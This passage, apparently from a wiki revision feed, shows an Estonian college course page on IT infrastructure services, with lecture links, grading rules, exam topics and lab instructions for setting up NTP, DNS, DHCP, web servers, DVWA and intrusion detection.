[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng04%20-%20Veebiserver.odp Loeng 04 Veebiserver]&lt;br /&gt;
&lt;br /&gt;
[http://goo.gl/6XQ0U WordPress seadistamine]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng05%20-%20Dokumentatsioon.odp Loeng 05 Dokumentatsioon]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng06%20-%20VPN.odp Loeng 06 VPN]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng07%20-%20iptables.odp Loeng 07 Tulemüürid]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng08%20-%20SAN%20-%20NAS%20-%20CAS.odp Loeng 08 SAN NAS CAS]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng09%20-%20Virtualiseerimine.odp Loeng 09 Virtualiseerimine]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng10%20-%20DHCP.odp Loeng 10 DHCP]&lt;/div&gt;</summary>
		<author><name>Mernits</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=Category:I375/I803/I853_IT_Infrastructure_services&amp;diff=89591</id>
		<title>Category:I375/I803/I853 IT Infrastructure services</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=Category:I375/I803/I853_IT_Infrastructure_services&amp;diff=89591"/>
		<updated>2015-05-31T20:46:36Z</updated>

		<summary type="html">&lt;p&gt;Mernits: /* Referaadi teemad 2015 */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Üldinfo=&lt;br /&gt;
&lt;br /&gt;
Aine info: [https://itcollege.ois.ee/study-material/round?round_id=2230 IT infrastruktuuri teenused ÕIS leht]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/ Aine õppematerjalid]&lt;br /&gt;
&lt;br /&gt;
ECTS: 5&lt;br /&gt;
&lt;br /&gt;
Hindamisviis: Arvestus&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Rangelt soovituslik aine:&#039;&#039;&#039; Operatsioonisüsteemide administreerimine ja sidumine (I233)&lt;br /&gt;
&lt;br /&gt;
==Õppejõud==&lt;br /&gt;
&lt;br /&gt;
Margus Ernits  &amp;gt;&amp;gt;  margus (.) ernits (ät) itcollege (.) ee&lt;br /&gt;
&lt;br /&gt;
Katrin Loodus  &amp;gt;&amp;gt;  katrin (.) loodus (ät) itcollege (.) ee&lt;br /&gt;
&lt;br /&gt;
=Eesmärk ja sisu=&lt;br /&gt;
&lt;br /&gt;
Tutvustada IT infrastruktuuri teenuste põhimõisteid. Anda oskused põhiliste teenuste paigaldamiseks ja turvamiseks. Anda oskused IT infrastruktuuri teenuste dokumenteerimiseks.&lt;br /&gt;
Eesmärgi saavutamiseks toimuvad laboratoorsed tööd, mille käigus installeeritakse ja konfigureeritakse teenuseid pöörates rõhku teenuse turvalisusele, millele eelnevad loengud alus- ja põhimõistete tutvustamiseks.&lt;br /&gt;
&lt;br /&gt;
=Ainekaart=&lt;br /&gt;
&lt;br /&gt;
Ainekaardi viimase, kuid mitte lõpliku versiooni leiab [https://wiki.itcollege.ee/images/6/67/I385_IT_infrastruktuuri_teenused_aineprogramm_2013.odt siit]&lt;br /&gt;
&lt;br /&gt;
=Eelmiste aastate tagasiside=&lt;br /&gt;
&lt;br /&gt;
[https://wiki.itcollege.ee/images/e/e3/Tagasiside.p%C3%A4eva%C3%B5pe-2013.pdf 2013 kaugõppe tagasiside]&lt;br /&gt;
&lt;br /&gt;
[https://wiki.itcollege.ee/images/4/4d/It-infra-tagasiside-2012-1.pdf 2012 kaugõppe tagasiside]&lt;br /&gt;
&lt;br /&gt;
[https://wiki.itcollege.ee/images/2/28/It-infra-tagasiside-2012-2.pdf 2012 päevaõppe tagasiside]&lt;br /&gt;
&lt;br /&gt;
=Arvestus ja hindamine=&lt;br /&gt;
&lt;br /&gt;
Aine on jagatud praktilisteks ja teoreetilisteks töödeks. Kaheksaks (8) laboriks ning kaheks (2) teoreetiliseks kontrolltööks. &lt;br /&gt;
&lt;br /&gt;
Lisaks on tarvis teha eraldi dokumentatsiooni ehk ühe kaitstud labori kohta &#039;&#039;&#039;viki artikkel&#039;&#039;&#039;. &lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Praktiliste tööde&#039;&#039;&#039; hulka kuuluvad erinevate teenuste paigaldamine ning seadistamine. Ühe labori eest on võimalik saada maksimaalselt 6 punkti. &lt;br /&gt;
&lt;br /&gt;
* 2 punkt on võimalik saada teenuse seadistamise, paigaldamise ning suulise kaitsmise eest. (Õppejõud võib seadistust muuta ning paluda paranduste kohta selgitust)&lt;br /&gt;
* 4 punkti on võimalik saada, kui kaitsta oskuslikult konkreetse labori kohta käivad teoreetilised teadmised suuliselt õppejõule. (Küsimused esitab õppejõud)&lt;br /&gt;
* 6 punkti on võimalik saada, kui parandada konkreetse teema kohta käivat juhendit ning esitada tulemuse õppejõule. (Mõeldud ambitsioonikamatele tudengitele)&lt;br /&gt;
&lt;br /&gt;
Lävendiks on 2 punkt, mis tähendab praktilise osa teostust. Kui iga labori eest on ainult 2 punkt, tuleb teoreetilised teadmised kaitsta kontrolltöö käigus, aga kui iga labori eest on vähemalt 4 punkti, ei ole kontrolltööd tarvis teha. &lt;br /&gt;
&lt;br /&gt;
==Tähtajad päevaõppele 2015==&lt;br /&gt;
&lt;br /&gt;
Praktilise töö laborite kaitsmised (laborid 1-3): 16. märts&lt;br /&gt;
&lt;br /&gt;
Praktilise töö laborite kaitsmised (Laborid 4-6): 18. mai&lt;br /&gt;
&lt;br /&gt;
Praktilise töö labori kaitsmised (Labor 8): ~20. mai&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dokumentatsioon (viki artikkel): 25. mai&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Kontrolltöö 1: 16. märts&lt;br /&gt;
&lt;br /&gt;
Kontrolltöö 2: 18. mai&lt;br /&gt;
&lt;br /&gt;
==Tähtajad kaugõppele 2015==&lt;br /&gt;
&lt;br /&gt;
Praktilise töö laborite kaitsmised (laborid 1-3): &lt;br /&gt;
&lt;br /&gt;
Praktilise töö laborite kaitsmised (Laborid 4-6):&lt;br /&gt;
&lt;br /&gt;
Praktilise töö labori kaitsmised (Labor 8): &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dokumentatsioon (viki artikkel): &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Kontrolltöö 1: &lt;br /&gt;
&lt;br /&gt;
Kontrolltöö 2:&lt;br /&gt;
&lt;br /&gt;
=Loengud=&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Kaugõppe 2015. aasta kevadsemestri loengusalvestused on leitavad [https://echo360.e-ope.ee/ess/portal/section/57596897-5ba5-46cb-b1b2-b4a4619f5eb0 siit]&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/loeng00%20-%20Sissejuhatav%20loeng.odp Sissejuhatav loeng] - &amp;lt;span style=&amp;quot;color: red;&amp;quot;&amp;gt;NB siin on kirjas hindamiskriteeriumid ja tähtajad.&amp;lt;/span&amp;gt; Lisaks on kirjas kontrolltööde ajad ja muu aine läbimiseks oluline info. (Päevaõppes toimus 02.02.2014)&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/skriptimine/bash/src/juurteenused-ntp.html NTP teenus] (Päevaõppes toimus 02.02.2015)&lt;br /&gt;
&lt;br /&gt;
[https://www.us-cert.gov/ncas/alerts/TA14-013A NTP amplification Attack]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: red;&amp;quot;&amp;gt;Kodutöö nr 1. Tähtaeg 9.02.2015. DNS loenguks lugeda läbi DNS põhimõisted järgnevatest materjalidest:&amp;lt;/span&amp;gt; &lt;br /&gt;
&lt;br /&gt;
Kohustuslik:&lt;br /&gt;
http://kuutorvaja.eenet.ee/wiki/DNS_ja_BIND&lt;br /&gt;
&lt;br /&gt;
Soovituslik:&lt;br /&gt;
http://kuutorvaja.eenet.ee/wiki/DNS&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/Interneti%20domeeninimede%20s%c3%bcsteem%20-%20IT%20infra%20loeng.odp DNS loeng (OpenDocument)] [http://enos.itcollege.ee/~mernits/infrastruktuur/Interneti%20domeeninimede%20s%c3%bcsteem%20-%20IT%20infra%20loeng.pdf (PDF)]&lt;br /&gt;
&lt;br /&gt;
[http://elab.itcollege.ee:8000/infra/bind/ BIND9 konfiguratsiooni näitefailid]&lt;br /&gt;
&lt;br /&gt;
[https://docs.google.com/document/d/1ZeQpPXdVq1C7RQpxQYR0gBB0OBMYB_0g6aFFxs_-fIA/edit DNS näide]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/Infra%20loeng%20DHCP%202013.odp DHCP loeng]&lt;br /&gt;
&lt;br /&gt;
[https://docs.google.com/document/d/1yUEWHldPhIbeVRh3k-zmwEg1OJmIGywMKVZY4XslpDY/edit# DHCP näitelabor]&lt;br /&gt;
&lt;br /&gt;
[https://docs.google.com/document/d/14Cj90aWN4n4MCO_zZlZzu0aHJeIDTPEfQgiDXIuMxF4/edit# DNS uuendamine DHCP abil]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng04%20-%20Veebiserver.odp Veebiserveri loeng] &lt;br /&gt;
&lt;br /&gt;
Screencast veebiserveri konfigureerimisest: &lt;br /&gt;
&lt;br /&gt;
http://elab.itcollege.ee:8000/veebiserver/out-1.ogv&lt;br /&gt;
&lt;br /&gt;
http://elab.itcollege.ee:8000/veebiserver/out-2.ogv&lt;br /&gt;
&lt;br /&gt;
http://elab.itcollege.ee:8000/veebiserver/out-3.ogv&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: red;&amp;quot;&amp;gt;Kodutöö nr 2. Tähtaeg 20.aprill.2015. Lugeda läbi [http://owasptop10.googlecode.com/files/OWASP%20Top%2010%20-%202013%20-%20RC1.pdf OWASP top 10 2013] &amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Mõisted kontrolltööks ja arvestuseks=&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Esimese kontrolltöö küsimused:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
*DNS mõistete kohta leiab infot: http://kuutorvaja.eenet.ee/wiki/DNS&lt;br /&gt;
*hostinimi (mis märgid on hostinimes lubatud ja kus?)&lt;br /&gt;
*host täisnimi&lt;br /&gt;
*domeeni täisnimi&lt;br /&gt;
*DNS&lt;br /&gt;
*A-kirje&lt;br /&gt;
*alias ehk CNAME&lt;br /&gt;
*puhverdamine&lt;br /&gt;
*dig ja selle kasutamine&lt;br /&gt;
*DNS spoofing&lt;br /&gt;
*domeen ja domeeninimi&lt;br /&gt;
*Authoritative ehk pädev server&lt;br /&gt;
*Forwarding ehk edastamine&lt;br /&gt;
*FQDN&lt;br /&gt;
*Host&lt;br /&gt;
*PTR-kirje&lt;br /&gt;
*rekursiivne lahendus&lt;br /&gt;
*primaarne server&lt;br /&gt;
*sekundaarne server&lt;br /&gt;
*open resolver&lt;br /&gt;
*kuidas nimelahendus töötab, kirjelda näiteks &amp;quot;kui veebisirvijas avatakse leht, siis mis võiks toimuda?&amp;quot;&lt;br /&gt;
*selgitage näitekonfi&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$TTL    600&lt;br /&gt;
@       IN      SOA     planet.zz. root.planet.zz. (&lt;br /&gt;
                        3      ; Serial - Mida see tähendab?&lt;br /&gt;
                        3600   ; Refresh - Mida see tähendab?&lt;br /&gt;
                        8640   ; Retry - Mida see tähendab?&lt;br /&gt;
                        36000  ; Expire - Mida see tähendab?&lt;br /&gt;
                        3600 ) ; Negative Cache TTL - Mida see tähendab?&lt;br /&gt;
;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Teise kontrolltöö küsimused:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
*virtuaalhost&lt;br /&gt;
*http&lt;br /&gt;
*Kuidas toimub ssl/tls ühenduse algatamine?&lt;br /&gt;
*Mis vahe on sümmeetrilisel ja asümmeetrilisel krüpteerimisel?&lt;br /&gt;
*Mis vahe on avalikul võtmel ja sertifikaadil?&lt;br /&gt;
*https&lt;br /&gt;
*SNI&lt;br /&gt;
*IPS&lt;br /&gt;
*IDS&lt;br /&gt;
*Mis vahe on reflected XSS ja stored XSS rünnetel?&lt;br /&gt;
*Mis vahe on SQL injectionil ja blind SQL injectionil?&lt;br /&gt;
*Mis on secure cookie? (http://php.net/session.cookie-secure ;session.cookie_secure =)&lt;br /&gt;
*Mis tähendab, et küpsised on http_only?&lt;br /&gt;
*Kas XSS ründeid saab filtreerida andmebaasikihis, näiteks SQL tulemüüriga?&lt;br /&gt;
*Mis on CSRF ja kuidas see toimib?&lt;br /&gt;
*Mis on same origin policy?&lt;br /&gt;
&lt;br /&gt;
=Dokumentatsioon=&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng05%20-%20Dokumentatsioon.odp Dokumentatsioonist (loeng)]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/Aruannete%20hindamise%20juhend.pdf Hindamismaatriksi näide]&lt;br /&gt;
&lt;br /&gt;
=Referaadi teemad 2015=&lt;br /&gt;
&lt;br /&gt;
*[[aptly]] -- http://www.aptly.info/&lt;br /&gt;
*[[dnf]] -- DNF package manager&lt;br /&gt;
*[[SQL tulemüürid]] -- Otsida erinevaid SQL tulemüüre ja kirjata nende põhiparameetrid&lt;br /&gt;
*[[sqlmap]]&lt;br /&gt;
*[[Kippo SSH Honeypot]]&lt;br /&gt;
*[[p0f]] http://tools.kali.org/information-gathering/p0f&lt;br /&gt;
*[[hping]] http://www.hping.org/&lt;br /&gt;
*[[Yersinia]] -  http://www.yersinia.net/&lt;br /&gt;
*[[WPScan]] - http://wpscan.org/&lt;br /&gt;
*[[Aircrack]]&lt;br /&gt;
*[[ntop]]&lt;br /&gt;
*[[Nikto]]&lt;br /&gt;
*[[Varnish]] - Artikkel on olemas, kuid vajab kaasajastamist (Artikli valimise korral kirjuta artikli algusesse suurelt: Kaasajastab &amp;lt;Sinu ees- ja perekonnanimi&amp;gt;, 2015, &amp;lt;rühm&amp;gt;&lt;br /&gt;
*[[DigiNotar]]&lt;br /&gt;
*[[Ipkungfu Tulemüür]]&lt;br /&gt;
*[[iodine]]&lt;br /&gt;
*[[fabric]]&lt;br /&gt;
*[[mpstat]]&lt;br /&gt;
*[[arpwatch]]&lt;br /&gt;
*[[ss]] &lt;br /&gt;
*[[glances]]&lt;br /&gt;
*[[mod_status]]&lt;br /&gt;
*[[smoothwall]]&lt;br /&gt;
&lt;br /&gt;
=Abimaterjal=&lt;br /&gt;
* [http://tools.ietf.org/html/rfc2131 RFC2131] &lt;br /&gt;
* [http://kuutorvaja.eenet.ee/wiki/Isc-dhcpd_server Kuutõrvaja DHCP materjal] &lt;br /&gt;
&lt;br /&gt;
Abimaterjal laboriks: &lt;br /&gt;
* Maskeraad [[Ufw]]&lt;br /&gt;
* DHCP serveri seadistamine [[DHCP]]&lt;br /&gt;
* [http://www.debian-administration.org/article/343/Configuring_Dynamic_DNS__DHCP_on_Debian_Stable Dünaamiline DNS kirjete uuendamine DHCP poolt]&lt;br /&gt;
* [http://debianclusters.org/index.php/Troubleshooting_DHCP DHCP probleemide lahendamine]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng11%20-%20Monitooring.odp Loeng 11 Monitooring]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng12%20-%20LDAP.odp Loeng 12 LDAP]&lt;br /&gt;
&lt;br /&gt;
=Praktilised tööd=&lt;br /&gt;
&lt;br /&gt;
[https://docs.google.com/spreadsheets/d/1TiErlKTrnW3T_dcjceMyeLr9yCHBDwTmjXDxkAf1hDw/edit?usp=sharing Nimekiri] DNS labori masinate IP vahemikega ning domeeninimedega&lt;br /&gt;
&lt;br /&gt;
==Sissejuhatav praktikum==&lt;br /&gt;
&lt;br /&gt;
Valige endale domeeninimi, näiteks eikkasutaja.zz.&lt;br /&gt;
&lt;br /&gt;
Seadke DNS serverile IP aadress 192.168.56.201&lt;br /&gt;
 nano /etc/network/interfaces&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
  address 192.168.56.201&lt;br /&gt;
  netmask 255.255.255.0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Taaskäivitage võrguliides &#039;&#039;&#039;eth1&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
 ifdown eth1 &amp;amp;&amp;amp; ifup eth1&lt;br /&gt;
&lt;br /&gt;
Muutke DNS serveril hostinimi ns.sinudomeen.&lt;br /&gt;
&lt;br /&gt;
 echo ns &amp;gt; /etc/hostname&lt;br /&gt;
&lt;br /&gt;
Muutke /etc/hosts failis masinanimi&lt;br /&gt;
&lt;br /&gt;
 127.0.1.1       ns.sinudomeen   ns&lt;br /&gt;
&lt;br /&gt;
Näiteks valisin oma domeeniks mernits.zz&lt;br /&gt;
&lt;br /&gt;
 127.0.1.1       ns.mernits.zz   ns&lt;br /&gt;
&lt;br /&gt;
Käivitage teenus &#039;&#039;&#039;hostname&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
 service hostname start&lt;br /&gt;
&lt;br /&gt;
Korraldus hostname -f peab tagastama FQDN-i&lt;br /&gt;
&lt;br /&gt;
 hostname -f&lt;br /&gt;
&lt;br /&gt;
Seadistage ka [[OpenSSH:_võtmetega_autentimine| võtmetepõhine autentimine]].&lt;br /&gt;
&lt;br /&gt;
[[Image:Infra-a21-2015.png|thumb|Kasutatav võrk]]&lt;br /&gt;
&lt;br /&gt;
==Labor 1 - NTP seadistamine (6p/6%)==&lt;br /&gt;
&lt;br /&gt;
Loe läbi õppematerjal (loengud) ja seadista NTP teenus nii kliendis, kui ka serveris selliselt, et klient küsib aega ainult serverist (ja ka localhostist, mille prioriteet on madal e fudge 10) Server küsib aega EENET NTP serverist ja mõnest muust Eestis asuvast NTP serverist.&lt;br /&gt;
&lt;br /&gt;
Seadistage server selliselt, et ei välisvõrgust ei saa teha [https://www.us-cert.gov/ncas/alerts/TA14-013A siin] kirjeldatud rünnet.&lt;br /&gt;
&lt;br /&gt;
[[NTP Ubuntus]]&lt;br /&gt;
&lt;br /&gt;
==Labor 2 - DNS seadistamine (6p/6%)==&lt;br /&gt;
&lt;br /&gt;
*Mõtle välja endale domeeninimi&lt;br /&gt;
*Loo domeeninimele tsoonifail ja seadiste nimeserver&lt;br /&gt;
*Luba rekursiivne lahendus oma sisevõrgust&lt;br /&gt;
*Loo reevers tsoon&lt;br /&gt;
*Loo A kirjed e-posti, nimeserveri jaoks&lt;br /&gt;
*Loo CNAME kirjed www, samba ja oma severi jaoks&lt;br /&gt;
&lt;br /&gt;
[https://docs.google.com/document/d/1ZeQpPXdVq1C7RQpxQYR0gBB0OBMYB_0g6aFFxs_-fIA/edit DNS Näitelahendus 1]&lt;br /&gt;
&lt;br /&gt;
[[Nimeserveri labor V.2| DNS Näitelahendus 2]]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/dns/DNS_BIND.html Väike abiinfo lisaks loengule]&lt;br /&gt;
&lt;br /&gt;
Kaitsmisel pead oskama luua uut tsooni, lisama kirjeid, oskama kasutada rndc, dig, nslookup vahendeid.&lt;br /&gt;
&lt;br /&gt;
==Labor 3 - DHCP seadistamine (6p/6%)==&lt;br /&gt;
* DHCP paigaldamine ja seadistamine (6p)&lt;br /&gt;
&lt;br /&gt;
Seadista labori desktop VM saamaks IP aadressi ja nimeserverit sama labori serveri VM käest.&lt;br /&gt;
&lt;br /&gt;
PS: desktop võrguseadetest eemalda esimeselt liideselt nimelahenduse küsimine (küsitakse DHCP abil ainult IP aadress). Kui seda ei tee, siis lähevad DNS päringud ikkagi esimese, NAT liidese kaudu.&lt;br /&gt;
&lt;br /&gt;
[https://docs.google.com/document/d/1yUEWHldPhIbeVRh3k-zmwEg1OJmIGywMKVZY4XslpDY/edit DHCP näitelabor]&lt;br /&gt;
&lt;br /&gt;
==Labor 4 - apache (või nginx) veebiserveri seadistamine (6p/6%)==&lt;br /&gt;
* Loo kaks virtualhosti nii http, kui ka https (self-signed cert) tarbeks.&lt;br /&gt;
** Mõlemad nimed peavad sirvijas töötama (desktop arvutis) nii http, kui ka https abil ja esilehel peab olema selgelt näha kumma virutalhostiga on tegemist. Seega index.html sisse lisa virtualhosti nimi.&lt;br /&gt;
&lt;br /&gt;
* Abimaterjalina võib sobida: Apache2 paigaldamine ja virtualhostide seadistamine [[Virtualhost apache2 näitel]]. Algajale lisamaterjal [[Veebiserveri labor v.2]]&lt;br /&gt;
&lt;br /&gt;
==Labor 5 - mõne veebirakenduse (nt Wordpress) paigaldamine ja turvamine varnishiga (10p/10%)==&lt;br /&gt;
&lt;br /&gt;
Labori eesmärgiks on paigaldada veebirakendus, mõõta selle jõudlust ja seejärel suurendada veebirakenduse jõudlust kasutades puhvermälu. Veebirakenduse ja puhvermälu võib iga tudeng ise valida. Näite teeme Wordpress ja WP SuperCace abil. Samas on väga soovitatav valida cache tehnoloogia ise, et erinevad inimesed saaksid võrrelda erinevaid asju.&lt;br /&gt;
&lt;br /&gt;
Wordpress paigaldamine ja jõudluse testimine (varnish) &lt;br /&gt;
*[https://docs.google.com/document/d/1AKVigVudVjxQuCz02i6p4Kv8oO4RD6aJiV9pbPuujZY/edit?pli=1  Wordpress paigaldamine]&lt;br /&gt;
**[[WordPress turvamine| Wordpress turvamine]]&lt;br /&gt;
**[http://wpdevshed.com/top-cache-plugins-wordpress/ Wordpress caching plugins]&lt;br /&gt;
**[[Varnish]]&lt;br /&gt;
***[[Apache logide seadistus]]&lt;br /&gt;
&lt;br /&gt;
==Labor 6 - DVWA paigaldamine ja OWASP testimine (10p/10%)==&lt;br /&gt;
&lt;br /&gt;
Paigaldage [[DVWA]].&lt;br /&gt;
&lt;br /&gt;
Loe läbi OWASP top 10 ja [http://enos.itcollege.ee/~ttanav/VRI/abiks/mysql_tut.php SQL põhitõed]&lt;br /&gt;
&lt;br /&gt;
Mõned videod:&lt;br /&gt;
&lt;br /&gt;
* https://www.youtube.com/watch?v=CDbWvEwBBxo&lt;br /&gt;
&lt;br /&gt;
==Labor 7 - rakenduste tulemüürid (greensql ja mod_security baasil) (10p/10%)==&lt;br /&gt;
&lt;br /&gt;
==Labor 8 - IDS (10p/10%)==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Seadistada IDS/IPS ühele oma valitud serverile ja demonstreeida ühe-kahe reegli toimimist.&lt;br /&gt;
&lt;br /&gt;
[[IDS_Systeemid_-_Labor_1| IDS Näitelahendus]]&lt;br /&gt;
&lt;br /&gt;
[[Suricata| Abistav materjal]]&lt;br /&gt;
&lt;br /&gt;
==Questid, millede eest saab punkte==&lt;br /&gt;
&lt;br /&gt;
[https://docs.google.com/document/d/1oRt9JLF6lcf_Z-ReHCfbZXnSoc-EOBzGprxvIyhq4qk/edit?usp=sharing Quest 1 (Läbi ja tehtud)]&lt;br /&gt;
&lt;br /&gt;
=Esitatud referaadid=&lt;br /&gt;
[[IT infrastruktuuri teenused 2013 kevad]]&lt;br /&gt;
&lt;br /&gt;
[[Wordpressi turvalisuse suurendamine]]&lt;br /&gt;
&lt;br /&gt;
=Juurteenuste kursus=&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/skriptimine/bash/src/juurteenused.html Interneti juurteenused]&lt;br /&gt;
&lt;br /&gt;
=Täiendav lugemismaterjal=&lt;br /&gt;
[https://zib.wooop.biz/category/asd/ Erinevad juhendmaterjalid Linuxi teenuste jm seadistamiseks. Autor Gert Vaikre A21]&lt;br /&gt;
&lt;br /&gt;
=Vanad loengumaterjalid=&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng00%20-%20Sissejuhatav%20loeng.odp Loeng 00 - Sissejuhatav loeng - NB Tähtajad ja nõuded]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng01%20-%20E-post.odp Loeng 01 E-post]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng03%20-%20Failiserver.odp Loeng 03 Failiserver]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng04%20-%20Veebiserver.odp Loeng 04 Veebiserver]&lt;br /&gt;
&lt;br /&gt;
[http://goo.gl/6XQ0U WordPress seadistamine]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng05%20-%20Dokumentatsioon.odp Loeng 05 Dokumentatsioon]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng06%20-%20VPN.odp Loeng 06 VPN]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng07%20-%20iptables.odp Loeng 07 Tulemüürid]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng08%20-%20SAN%20-%20NAS%20-%20CAS.odp Loeng 08 SAN NAS CAS]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng09%20-%20Virtualiseerimine.odp Loeng 09 Virtualiseerimine]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng10%20-%20DHCP.odp Loeng 10 DHCP]&lt;/div&gt;</summary>
		<author><name>Mernits</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=Category:I375/I803/I853_IT_Infrastructure_services&amp;diff=89586</id>
		<title>Category:I375/I803/I853 IT Infrastructure services</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=Category:I375/I803/I853_IT_Infrastructure_services&amp;diff=89586"/>
		<updated>2015-05-31T13:15:28Z</updated>

		<summary type="html">&lt;p&gt;Mernits: /* Referaadi teemad 2015 */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Üldinfo=&lt;br /&gt;
&lt;br /&gt;
Aine info: [https://itcollege.ois.ee/study-material/round?round_id=2230 IT infrastruktuuri teenused ÕIS leht]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/ Aine õppematerjalid]&lt;br /&gt;
&lt;br /&gt;
ECTS: 5&lt;br /&gt;
&lt;br /&gt;
Hindamisviis: Arvestus&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Rangelt soovituslik aine:&#039;&#039;&#039; Operatsioonisüsteemide administreerimine ja sidumine (I233)&lt;br /&gt;
&lt;br /&gt;
==Õppejõud==&lt;br /&gt;
&lt;br /&gt;
Margus Ernits  &amp;gt;&amp;gt;  margus (.) ernits (ät) itcollege (.) ee&lt;br /&gt;
&lt;br /&gt;
Katrin Loodus  &amp;gt;&amp;gt;  katrin (.) loodus (ät) itcollege (.) ee&lt;br /&gt;
&lt;br /&gt;
=Eesmärk ja sisu=&lt;br /&gt;
&lt;br /&gt;
Tutvustada IT infrastruktuuri teenuste põhimõisteid. Anda oskused põhiliste teenuste paigaldamiseks ja turvamiseks. Anda oskused IT infrastruktuuri teenuste dokumenteerimiseks.&lt;br /&gt;
Eesmärgi saavutamiseks toimuvad laboratoorsed tööd, mille käigus installeeritakse ja konfigureeritakse teenuseid pöörates rõhku teenuse turvalisusele, millele eelnevad loengud alus- ja põhimõistete tutvustamiseks.&lt;br /&gt;
&lt;br /&gt;
=Ainekaart=&lt;br /&gt;
&lt;br /&gt;
Ainekaardi viimase, kuid mitte lõpliku versiooni leiab [https://wiki.itcollege.ee/images/6/67/I385_IT_infrastruktuuri_teenused_aineprogramm_2013.odt siit]&lt;br /&gt;
&lt;br /&gt;
=Eelmiste aastate tagasiside=&lt;br /&gt;
&lt;br /&gt;
[https://wiki.itcollege.ee/images/e/e3/Tagasiside.p%C3%A4eva%C3%B5pe-2013.pdf 2013 kaugõppe tagasiside]&lt;br /&gt;
&lt;br /&gt;
[https://wiki.itcollege.ee/images/4/4d/It-infra-tagasiside-2012-1.pdf 2012 kaugõppe tagasiside]&lt;br /&gt;
&lt;br /&gt;
[https://wiki.itcollege.ee/images/2/28/It-infra-tagasiside-2012-2.pdf 2012 päevaõppe tagasiside]&lt;br /&gt;
&lt;br /&gt;
=Arvestus ja hindamine=&lt;br /&gt;
&lt;br /&gt;
